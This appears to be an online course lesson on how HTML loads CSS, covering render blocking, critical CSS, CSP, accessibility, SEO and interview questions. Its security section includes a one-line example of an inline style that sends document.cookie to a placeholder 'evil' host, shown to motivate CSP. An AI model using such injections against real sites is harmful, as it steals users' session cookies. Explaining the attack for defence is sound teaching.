HTML Tutorial 0/139 lessons ~6 min read Lesson 14

    HTML CSS

    html css html integrates css through link, style, and inline attributes — each with casca html is the delivery vehicle

    Course progress0%
    Focus
    18 guided sections
    Practice signal
    Examples included
    Career prep
    Interview Q&A included

    Introduction

    HTML is the delivery vehicle for CSS — via <link rel="stylesheet">, <style>, and style attributes. Render-blocking stylesheets sit on the critical path; staff engineers orchestrate load order, media attributes, and CSP for every template. Google Search uses CSS to determine mobile-friendliness; Amazon category pages inline critical CSS and defer the rest to protect LCP.

    Business problem

    CSS loading mistakes cause blank pages, FOUC, and layout thrash. A media site put 800KB CSS in <head> without split — mobile LCP exceeded 4s, ad revenue dropped. Teams embed <style> in body against spec — works until streaming parser edge cases break SSR hydration.

    • Revenue: Shopify merchants lose sales when theme CSS 404s — entire storefront unstyled.
    • Compliance: CSP style-src violations block checkout styles — PCI flow aborts silently.
    • Ops: Wrong media attribute ships desktop-only grid to mobile — horizontal scroll, bounce spike.

    Why this feature exists

    Separation of concerns required a declarative way to attach presentation without polluting every tag. External stylesheets enable cache, parallel download, and shared design systems across thousands of HTML documents.

    • History: <link rel="stylesheet"> from CSS1; <style> for one-off docs and email.
    • Rejected: Single giant style attribute per page — unmaintainable at web scale.
    • Modern: Constructable stylesheets, CSS modules, and shadow DOM adopted styles extend the model — HTML still bootstraps the cascade.

    Browser internals

    Stylesheet acquisition is render-blocking by default: parser meets link, fetches CSS, builds CSSOM, then continues layout. Preload hints compete with parser-discovered resources. Inline style attributes become declaration blocks with highest specificity in author origin (except !important in sheets).

    • CSSOM + DOM: Merge into render tree — display:none removes from layout but stays in DOM.
    • @import: Nested import in stylesheet serializes fetches — anti-pattern on critical path.
    • Invalidation: Class change dirties matched rules — scope selectors to interactive islands in SPAs.
    text
    Parser: <link rel="stylesheet" href="a.css"> → fetch (blocking)
    → CSSOM ready → layout + paint
    <style> in body: still applied, may delay first paint if late

    Rendering workflow

    Critical rendering path: HTML → CSSOM → layout → paint → composite. Each linked stylesheet without media="print" blocks first render. Stripe loads minimal critical CSS inline for payment form dimensions, async full theme after.

    • LCP: Hero image unstyled until CSS arrives — dimensions in HTML width/height + critical CSS prevent CLS.
    • FOUC: Async CSS reveals unstyled text — use font-display and skeleton classes in critical slice.
    • SPA: Route CSS chunks injected late — flash on navigation unless persisted layout shell styled in index.html.

    Feature deep dive

    Load strategy: Critical CSS inline or first link; non-critical deferred with media trick or preload+onload. Prefer external sheets for cache. Keep <style> in <head>; body styles work but harm predictability.

    • link: rel="stylesheet", href, media, crossorigin for CORS fonts in CSS.
    • style: Scoped in components — Vue/Svelte may hoist to head at build.
    • inline: Last resort — email, one-off marketing LP, third-party widget isolation.
    html
    <head>
    <link rel="preload" href="/critical.css" as="style">
    <link rel="stylesheet" href="/critical.css">
    <link rel="stylesheet" href="/deferred.css" media="print" onload="this.media='all'">
    </head>

    Accessibility analysis

    CSS can harm a11y when outline:none on focus, display:none on skip links, or visibility:hidden on labels. BBC mandates focus-visible rings in base stylesheet — not per-component opt-in. prefers-reduced-motion must disable parallax in global CSS hooked from HTML meta viewport.

    • Screen readers: .sr-only pattern belongs in shared CSS — document in HTML integration guide.
    • Zoom: max-width on body breaking 200% zoom fails 1.4.10 — test in user stylesheet simulation.
    • Contrast: Global link styles affect every page — one regression, sitewide lawsuit risk.

    SEO impact

    Mobile-friendly test evaluates viewport meta + CSS layout — content wider than screen fails. Hidden text via CSS (display:none on keyword blocks) is cloaking. Google renders page with CSS; blocked stylesheet means misjudged layout and snippet quality.

    • Core Web Vitals: CSS weight drives LCP and INP — SEO ranking signal indirectly.
    • Print CSS: media="print" ignored for ranking but good for recipe/article UX.
    • Structured layout: CSS Grid order vs DOM order — crawlers read DOM, not visual reorder.

    Security considerations

    CSS injection exfiltrates data via attribute selectors and background URLs. CSP style-src and nonces on <style> block attacker-controlled rules. User-supplied class names in CMS can break layout or overlay phishing UI.

    • XSS: style="background:url('//evil?'+document.cookie)" — block inline styles with CSP.
    • Supply chain: Compromised CDN stylesheet steals form input — SRI on link integrity attribute.
    • Clickjacking: position:fixed overlays — frame-ancestors CSP on HTML, not CSS alone.

    Performance impact

    Amazon measures CSS bytes per page type — budget 50KB critical, rest chunked. Unused CSS from Bootstrap imports costs parse time on mobile CPUs. HTTP/2 multiplexing helps but doesn't remove CSSOM build cost.

    • Splitting: Route-level CSS in Next.js — only ship what route needs.
    • Minify: cssnano in CI — strip comments, merge rules.
    • Contain: content-visibility on below-fold sections — pairs with HTML structure landmarks.

    Real production example

    Shopify Online Store 2.0 themes declare stylesheet sections in JSON templates — HTML layout loads theme.css with SRI optional on CDN. Critical hero styles duplicated in section inline style block capped at 4KB.

    • Preload: Font CSS preloaded with crossorigin — else double fetch.
    • HTTP cache: fingerprinted assets, immutable cache-control.
    • Monitoring: RUM tracks CSS load failure rate — alert on 404 theme.css.
    html
    <link rel="stylesheet" href="{{ 'theme.css' | asset_url }}" media="all">
    <link rel="preload" as="style" href="{{ 'theme.css' | asset_url }}">

    Enterprise usage

    Google internal apps use strict CSP with nonce per request injected into HTML template server-side — every <style> and inline style hash allowlisted. Design system CSS versioned and pinned in HTML layout shell.

    • Micro-frontends: Shadow DOM or CSS modules prevent leakage — HTML shell loads shared tokens only.
    • Audit: Stylelint + bundle analyzer gate in CI.
    • Legacy IE: Conditional comments removed — single modern CSS pipeline.

    Common production failures

    Stripe status page once blocked own CSS via misconfigured CSP after deploy — white unstyled HTML panicked merchants. Media site async CSS race caused article text at 32px then snap to 16px — CLS penalty in Search Console.

    • 404 CSS: Relative href broke on nested URLs — entire subsite unstyled.
    • @import chain: 5 serial RTTs before first paint.
    • Hydration: SSR CSS class mismatch — React warning and layout flip.

    Architecture review questions

    • Is critical CSS available before first paint for above-the-fold content?
    • Are stylesheets cache-busted and served with correct Content-Type and CORS for fonts?
    • Does CSP style-src allow only trusted sources and nonces where needed?
    • Is DOM order preserved for keyboard/AT when CSS reorders visually?
    • What is total CSS bytes and unused CSS percentage on this template?
    • Are print and prefers-reduced-motion styles defined globally?

    Hands-on project

    Split a monolithic stylesheet into critical (inlined in head) and deferred (async load) for a product listing HTML page; measure LCP and CLS before/after in Lighthouse.

    • Deliverable: Document load waterfall and CSP header.
    • Verify: No FOUC on 3G throttling.
    • Stretch: Add SRI and report-only CSP first.

    Interview questions

    Why is link rel=stylesheet render-blocking and how do you mitigate?(Advanced)

    Browser needs CSSOM before painting to avoid FOUC. Mitigate: critical CSS inline or first file, split by route, preload, media=print onload trick, reduce bytes, HTTP cache. Don't blindly async everything — need rules for first screen.

    Follow-up: Does preload replace blocking link?

    How does CSP affect inline styles and third-party widgets?(Advanced)

    style-src 'self' blocks inline unless nonce/hash. Widgets injecting style tags fail unless allowlisted or nonce passed from server HTML. Often need hash per build for static inline critical CSS. Report-only mode first.

    Follow-up: Trusted Types interaction?

    CSS Grid order vs DOM order — SEO and a11y implications?(Advanced)

    Crawlers and screen readers follow DOM order; visual reorder with grid-column/order doesn't change tab sequence unless tabindex abused. Keep meaningful sequence in HTML; use grid for two-dimensional layout without scrambling focus order.

    Follow-up: When is order property acceptable?

    Try it yourself

    Edit the HTML, CSS, or JS panels — the preview updates as you type.

    Try it yourself

    Preview

    Summary

    HTML integrates CSS through link, style, and inline attributes — each with cascade, blocking, and security implications. Production teams at Amazon and Google split critical CSS, enforce CSP, and keep DOM order aligned with visual layout for SEO and accessibility.

    Ready to mark this lesson complete?Track your journey across the entire course.